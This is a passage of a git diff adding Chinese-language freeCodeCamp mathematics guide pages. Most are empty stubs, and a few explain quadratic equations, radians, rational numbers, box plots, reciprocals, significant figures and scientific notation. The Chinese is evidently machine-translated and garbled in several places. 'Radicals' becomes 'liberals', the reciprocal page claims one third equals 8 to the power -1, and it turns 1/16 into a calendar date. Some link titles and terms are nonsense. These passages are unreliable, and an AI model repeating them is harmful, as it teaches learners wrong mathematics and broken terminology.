+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pythagorean-triples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/quadratic-equation-solver/index.md b/client/src/guide/chinese/mathematics/quadratic-equation-solver/index.md
new file mode 100644
index 0000000000..bae671b5c7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/quadratic-equation-solver/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadratic Equation Solver
+localeTitle: 二次方程求解器
+---
+## 二次方程求解器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equation-solver/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/quadratic-equations/index.md b/client/src/guide/chinese/mathematics/quadratic-equations/index.md
new file mode 100644
index 0000000000..d8631f08eb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/quadratic-equations/index.md
@@ -0,0 +1,52 @@
+---
+title: Quadratic Equations
+localeTitle: 二次方程
+---
+## 二次方程
+
+_二次方程_是2阶的多项式函数，等于0或常数。
+
+二次函数的父方程是**ax ^ 2 + bx + c = 0** ，其中x是可变的，a，b和c是实常数。
+
+*   'a'决定了函数的宽度或宽度。
+    
+*   如果| a |如果大于1，则抛物线将变窄。
+    
+*   如果| a |小于1，抛物线将更宽。
+    
+*   任何函数的根是函数等于零的参数值。二次方程的根（实际上是函数）是变量的值（这里它是'x'，因为我们所采用的方程是'x'中的二次方程），它满足给定常数集的方程（这里 - > a ，公元前）。
+    
+*   每个二次方程**ax ^ 2 + bx + c = 0**可以表示为**（xp）（xq）= 0** ，其中p和q将是给定二次方程的根。这些根源可能是也可能不是真实的。
+    
+*   二次函数产生抛物线，也称为“u”形。
+    
+*   二次函数的顶点是图形反映自身的转折点（因此顶点也与'对称轴'相关，即二次函数反映的线）。
+    
+*   **y = ax ^ 2 + bx + c**的图形接触x轴的x的值是二次方程**ax ^ 2 + bx + c = 0的根** 。
+    
+
+## 根
+
+二次方总是有两个根。如果二次函数表示一个完美的正方形，则说两个根都具有相同的值（说只有一个根是错误的，因为二次方程必须有2个根）。可以使用与之关联的常量集来计算根的性质和值。
+
+### 根的性质
+
+如前所述，二次方程的根并不总是真实的。通过计算由b ^ 2-4ac给出的D的值，可以容易地确定根的性质
+
+**d = B ^ 2-4ac**
+
+*   如果D> 0，则两个根本质上都是真实的。
+*   如果D == 0，则两个根将是真实的并且性质相同。
+*   如果D <0，两个根本质上都是虚构的（没有x的实际值将满足等式）
+
+可以很容易地观察到，只有当D == 0时，根的值才相等，但根的性质对于两个根始终是相同的。
+
+### 根的价值
+
+让**ax ^ 2 + bx + c = 0的根**为p和q，然后
+
+p =（ - b + sqrt（D））/ 2a
+
+q =（ - b - sqrt（D））/ 2a
+
+*   该等式具有虚根，它们总是在共轭对中找到。例如，如果您知道其中一个根是2 + 3i，那么您可以通过仅更改值的实部和虚部之间的符号来直接将另一个根确定为2-3i。 （这可以从计算根的值的公式推断出来。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md b/client/src/guide/chinese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
new file mode 100644
index 0000000000..48963d7202
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadrilaterals Square Rectangle Rhombus Trapezoid Parallelogram
+localeTitle: 四边形正方形矩形菱形梯形平行四边形
+---
+## 四边形正方形矩形菱形梯形平行四边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/quartiles/index.md b/client/src/guide/chinese/mathematics/quartiles/index.md
new file mode 100644
index 0000000000..46b01e5504
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/quartiles/index.md
@@ -0,0 +1,11 @@
+---
+title: Quartiles
+localeTitle: 四分位数
+---
+## 四分位数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quartiles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/radians-to-degrees/index.md b/client/src/guide/chinese/mathematics/radians-to-degrees/index.md
new file mode 100644
index 0000000000..86f1a06cf1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/radians-to-degrees/index.md
@@ -0,0 +1,19 @@
+---
+title: Radians to Degrees
+localeTitle: 弧度到度数
+---
+## 弧度到度数
+
+一个完整的周期=2π弧度= 360度
+
+1弧度= 360 /2π度
+
+p Radians = p×360 /2π度
+
+### 例子：
+
+2弧度= 2 \* 180 /π度
+
+2.5弧度= 2.5 \* 180 /π度
+
+0.3弧度= 0.3 \* 180 /π度
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/radians/index.md b/client/src/guide/chinese/mathematics/radians/index.md
new file mode 100644
index 0000000000..7b0e987f17
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/radians/index.md
@@ -0,0 +1,11 @@
+---
+title: Radians
+localeTitle: 弧度
+---
+## 弧度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radians/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/radicals-introduction-and-simplification/index.md b/client/src/guide/chinese/mathematics/radicals-introduction-and-simplification/index.md
new file mode 100644
index 0000000000..632d6cffaa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/radicals-introduction-and-simplification/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Introduction and Simplification
+localeTitle: 激进的介绍和简化
+---
+## 激进的介绍和简化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-introduction-and-simplification/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/radicals-rationalizing-the-denominator/index.md b/client/src/guide/chinese/mathematics/radicals-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..427b1d2e59
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/radicals-rationalizing-the-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Rationalizing the Denominator
+localeTitle: 自由主义者合理化分母
+---
+## 自由主义者合理化分母
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-rationalizing-the-denominator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/radius-diameter-circumference/index.md b/client/src/guide/chinese/mathematics/radius-diameter-circumference/index.md
new file mode 100644
index 0000000000..d4051c8644
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/radius-diameter-circumference/index.md
@@ -0,0 +1,11 @@
+---
+title: Radius Diameter Circumference
+localeTitle: 半径直径周长
+---
+## 半径直径周长
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radius-diameter-circumference/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rational-numbers/index.md b/client/src/guide/chinese/mathematics/rational-numbers/index.md
new file mode 100644
index 0000000000..85aa505c75
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rational-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational Numbers
+localeTitle: 有理数
+---
+## 有理数
+
+有理数是可以写成两个整数的一部分的任何数。 _10/5_是分数，并且等于2. _8/3_是分数，并且等于2.66666（其中6个信息多次重复）。由于任何整数都可用于表示分数，因此所有整数也是合理的。正如我们所看到的，2可以写成_10/5_ ，但它也可以写成_2/1_ 。由于任何整数**n**都可以写为**_n_** / 1，因此所有整数都是合理的。 因为有理数必须写成2个整数的一部分，所以_pi_和_e_不合理，因为它们不能表示为整数的分数。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/ratios/index.md b/client/src/guide/chinese/mathematics/ratios/index.md
new file mode 100644
index 0000000000..c9643da829
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratios
+localeTitle: 比
+---
+## 比
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/ratios/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/reading-box-plots/index.md b/client/src/guide/chinese/mathematics/reading-box-plots/index.md
new file mode 100644
index 0000000000..3b06a3edb0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/reading-box-plots/index.md
@@ -0,0 +1,34 @@
+---
+title: Reading Box Plots
+localeTitle: 阅读箱图
+---
+## 阅读箱图
+
+Box Plots乍一看似乎不直观，但它们是传达紧凑格式的大量信息的好方法。以下是如何阅读a中包含的信息的方法 箱形图：
+
+![BoxPlotExample](https://github.com/viso-gio/HostedImages/blob/master/Boxplot.jpg?raw=true)
+
+Box Plot有几个我们可以识别的元素：
+
+*   盒子，分为两部分
+*   盒子上方和下方有两个胡须
+*   可能是一些分散的点：异常值
+
+方框图的每个部分代表数据总体四分位数的间隔。这意味着，25％的数据位于下晶须的两端，25％的数据位于盒子底部和中线之间，25％位于中间位置和顶部，和上部晶须中的25％。任何统计异常值都表示为框外的一个点。
+
+在上面报告的示例中，我们将使用（使用近似数值）：
+
+*   四分之一的数据介于1和3之间（较低的胡须）
+*   四分之一的数据在3到5之间（框的下半部分）
+*   四分之一的数据在5到7.5之间（框的上半部分）
+*   四分之一的数据介于7.5和10之间（上晶须）
+*   箱形图上方有两个异常点
+
+请注意，将该框一分为​​二的线表示中**位数** （第50百分位数）而**不是平均值** 。
+
+#### 更多信息：
+
+有关更多信息：
+
+*   [维基百科：Box Plot](https://en.wikipedia.org/wiki/Box_plot)
+*   [可汗学院：阅读Box Plots（视频）](https://www.khanacademy.org/math/probability/data-distributions-a1/box--whisker-plots-a1/v/interpreting-box-plots)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/real-numbers/index.md b/client/src/guide/chinese/mathematics/real-numbers/index.md
new file mode 100644
index 0000000000..3c1d1b3ffa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/real-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Real Numbers
+localeTitle: 真实的数字
+---
+## 真实的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/real-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/reciprocal/index.md b/client/src/guide/chinese/mathematics/reciprocal/index.md
new file mode 100644
index 0000000000..7df6ee6d15
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/reciprocal/index.md
@@ -0,0 +1,37 @@
+---
+title: Reciprocal
+localeTitle: 倒数
+---
+## 倒数
+
+数字的**倒数**是1除以该数字。
+
+#### 例
+
+的3倒数是三分之一
+
+**倒数**也可以定义为-1的幂。
+
+#### 例
+
+三分之一是相同8至-1的功率。
+
+您也可以通过翻转分数来获取分数的倒数。 例如，2/3的倒数是3/2。
+
+### 注意
+
+1.  倒数的倒数是原始数字。
+
+#### 例
+
+23倒数为1/23。现在，如果我们把1/23互惠和财政投融资的比例，我们得到23/1这是原来的号码。
+
+2.  如果将数字乘以其倒数，则总是得到1。
+
+#### 例
+
+16的倒数为1/16。如果你乘1月 16日与16日，你会得到1。
+
+3.  零没有倒数
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/related-rates-falling-ladder/index.md b/client/src/guide/chinese/mathematics/related-rates-falling-ladder/index.md
new file mode 100644
index 0000000000..85984da396
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/related-rates-falling-ladder/index.md
@@ -0,0 +1,11 @@
+---
+title: Related Rates Falling Ladder
+localeTitle: 相关价格下降梯子
+---
+## 相关价格下降梯子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/related-rates-falling-ladder/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/antisymmetry/index.md b/client/src/guide/chinese/mathematics/relations/antisymmetry/index.md
new file mode 100644
index 0000000000..c9c74fbd1c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/antisymmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Antisymmetry
+localeTitle: 反对称
+---
+## 反对称
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/antisymmetry/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/cartesian-product/index.md b/client/src/guide/chinese/mathematics/relations/cartesian-product/index.md
new file mode 100644
index 0000000000..334c094e72
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/cartesian-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cartesian Product
+localeTitle: 笛卡尔积
+---
+## 笛卡尔积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/cartesian-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/composite-relations-matrices/index.md b/client/src/guide/chinese/mathematics/relations/composite-relations-matrices/index.md
new file mode 100644
index 0000000000..3d6a8e5713
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/composite-relations-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations Matrices
+localeTitle: 复合关系矩阵
+---
+## 复合关系矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations-matrices/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/composite-relations/index.md b/client/src/guide/chinese/mathematics/relations/composite-relations/index.md
new file mode 100644
index 0000000000..e7f53a3a39
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/composite-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations
+localeTitle: 复合关系
+---
+## 复合关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/directed-graphs-of-relations/index.md b/client/src/guide/chinese/mathematics/relations/directed-graphs-of-relations/index.md
new file mode 100644
index 0000000000..a09383058e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/directed-graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Graphs of Relations
+localeTitle: 关系的有向图
+---
+## 关系的有向图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/directed-graphs-of-relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/graphs-of-relations/index.md b/client/src/guide/chinese/mathematics/relations/graphs-of-relations/index.md
new file mode 100644
index 0000000000..0a3bc2dab2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Relations
+localeTitle: 关系图
+---
+## 关系图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/graphs-of-relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/index.md b/client/src/guide/chinese/mathematics/relations/index.md
new file mode 100644
index 0000000000..29f2071429
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Relations
+localeTitle: 关系
+---
+## 关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/inverse-relations/index.md b/client/src/guide/chinese/mathematics/relations/inverse-relations/index.md
new file mode 100644
index 0000000000..d2f91b0fb0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/inverse-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Relations
+localeTitle: 反向关系
+---
+## 反向关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/inverse-relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/powerset/index.md b/client/src/guide/chinese/mathematics/relations/powerset/index.md
new file mode 100644
index 0000000000..ac96139e61
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/powerset/index.md
@@ -0,0 +1,11 @@
+---
+title: Powerset
+localeTitle: Powerset的
+---
+## Powerset的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/powerset/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/reflexivity/index.md b/client/src/guide/chinese/mathematics/relations/reflexivity/index.md
new file mode 100644
index 0000000000..4cf22c65cf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/reflexivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflexivity
+localeTitle: 自反性
+---
+## 自反性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/reflexivity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relations/symmetry/index.md b/client/src/guide/chinese/mathematics/relations/symmetry/index.md
new file mode 100644
index 0000000000..05c9316afd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relations/symmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Symmetry
+localeTitle: 对称
+---
+## 对称
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/symmetry/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/relative-frequency/index.md b/client/src/guide/chinese/mathematics/relative-frequency/index.md
new file mode 100644
index 0000000000..198884824a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/relative-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Relative Frequency
+localeTitle: 相对频率
+---
+## 相对频率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relative-frequency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md b/client/src/guide/chinese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
new file mode 100644
index 0000000000..d7eb2f08a2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Improper Fractions as Mixed Numbers
+localeTitle: 将不正确的分数重写为混合数
+---
+## 将不正确的分数重写为混合数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rewriting-tricky-fractions-to-decimals/index.md b/client/src/guide/chinese/mathematics/rewriting-tricky-fractions-to-decimals/index.md
new file mode 100644
index 0000000000..1ae696f778
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rewriting-tricky-fractions-to-decimals/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Tricky Fractions to Decimals
+localeTitle: 将Tricky Fractions重写为Decimals
+---
+## 将Tricky Fractions重写为Decimals
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-tricky-fractions-to-decimals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rhombus/index.md b/client/src/guide/chinese/mathematics/rhombus/index.md
new file mode 100644
index 0000000000..801b9c2cd0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rhombus/index.md
@@ -0,0 +1,11 @@
+---
+title: Rhombus
+localeTitle: 菱形
+---
+## 菱形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rhombus/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/roman-numerals/index.md b/client/src/guide/chinese/mathematics/roman-numerals/index.md
new file mode 100644
index 0000000000..c81598bffa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/roman-numerals/index.md
@@ -0,0 +1,11 @@
+---
+title: Roman Numerals
+localeTitle: 罗马数字
+---
+## 罗马数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/roman-numerals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rounding-and-significant-digits/index.md b/client/src/guide/chinese/mathematics/rounding-and-significant-digits/index.md
new file mode 100644
index 0000000000..7df104e3b5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rounding-and-significant-digits/index.md
@@ -0,0 +1,11 @@
+---
+title: Rounding and Significant Digits
+localeTitle: 舍入和重要数字
+---
+## 舍入和重要数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rounding-and-significant-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/rules-of-significant-figures/index.md b/client/src/guide/chinese/mathematics/rules-of-significant-figures/index.md
new file mode 100644
index 0000000000..bbd544e4c9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/rules-of-significant-figures/index.md
@@ -0,0 +1,30 @@
+---
+title: Rules of Significant Figures
+localeTitle: 重要数据规则
+---
+## 重要数据规则
+
+数字的重要数字是对测量的最终表示具有意义的所有数字。它们代表了测量的精确程度。
+
+查找数字中哪些数字是有效数字的规则：
+
+*   所有非零数字都很重要
+*   非sero数字之间的所有零都是重要的：202,2002,20002
+*   前导零并不重要
+*   在十进制数字中，所有尾随零表示精度，因此是重要的
+*   在非十进制数字中，如果有“。”最后，左边的所有数字都很重要（除了前导零）
+
+#### 例子：
+
+*   0.05400有\[4\] sig figs：5,4,0和0
+*   0.0054090有\[5\] sig figs：5,4,0,9和0
+*   100有\[1\] sig fig：1
+*   100.0有\[3\] sig figs：1,0和0
+*   更多信息：
+
+### 更多信息
+
+*   [维基百科文章](https://en.wikipedia.org/wiki/Significant_figures)
+*   [可汗学院关于sig figs的视频](https://www.khanacademy.org/math/arithmetic-home/arith-review-decimals/arithmetic-significant-figures-tutorial/v/significant-figures)
+*   [紫荆花指南无花果](https://www.purplemath.com/modules/rounding2.htm)
+*   [漂亮的小sig fig计算器](https://www.omnicalculator.com/math/sig-fig)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/scalar-and-matrix-multiplication/index.md b/client/src/guide/chinese/mathematics/scalar-and-matrix-multiplication/index.md
new file mode 100644
index 0000000000..eaa791a8aa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/scalar-and-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalar and Matrix Multiplication
+localeTitle: 标量和矩阵乘法
+---
+## 标量和矩阵乘法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scalar-and-matrix-multiplication/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/scientific-notation-examples/index.md b/client/src/guide/chinese/mathematics/scientific-notation-examples/index.md
new file mode 100644
index 0000000000..573f6d0ddf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/scientific-notation-examples/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Notation Examples
+localeTitle: 科学记谱法例子
+---
+## 科学记谱法例子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scientific-notation-examples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/scientific-notation/index.md b/client/src/guide/chinese/mathematics/scientific-notation/index.md
new file mode 100644
index 0000000000..d89fa03297
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/scientific-notation/index.md
@@ -0,0 +1,26 @@
+---
+title: Scientific Notation
+localeTitle: 科学计数法
+---
+## 科学计数法
+
+科学记数法是一种编写非常大/小数字的方法，以便在计算中更容易处理它们。
+
+我们可以想到科学记数法中的数字由“数字术语”和“指数术语”组成
+
+数字术语包含数字的有效数字。数字项必须是1到10之间的数字。指数项包含占位符零并定位小数位置。如果指数项具有负指数，则表示该数字小于1，并且小数点必须向左移动一定数量的空格。而正指数数意味着数字非常大，小数点必须向右移动。
+
+#### 例：
+
+用科学记数法写成的545,000,000,000：5.45 x 10 ^ 11
+
+0.0000000000030435 = 3.0435 x 10 ^ -12
+
+10 = 1.0×10 ^ 1
+
+1 = 1.0 x 10 ^ 0
+
+#### 更多信息：
+
+*   [伟大的文章，包括科学记数法中的算术](https://www.chem.tamu.edu/class/fyp/mathrev/mr-scnot.html)
+*   [维基百科文章](https://en.wikipedia.org/wiki/Scientific_notation)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sectors-areas-and-arcs/index.md b/client/src/guide/chinese/mathematics/sectors-areas-and-arcs/index.md
new file mode 100644
index 0000000000..2995709e55
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sectors-areas-and-arcs/index.md
@@ -0,0 +1,11 @@
+---
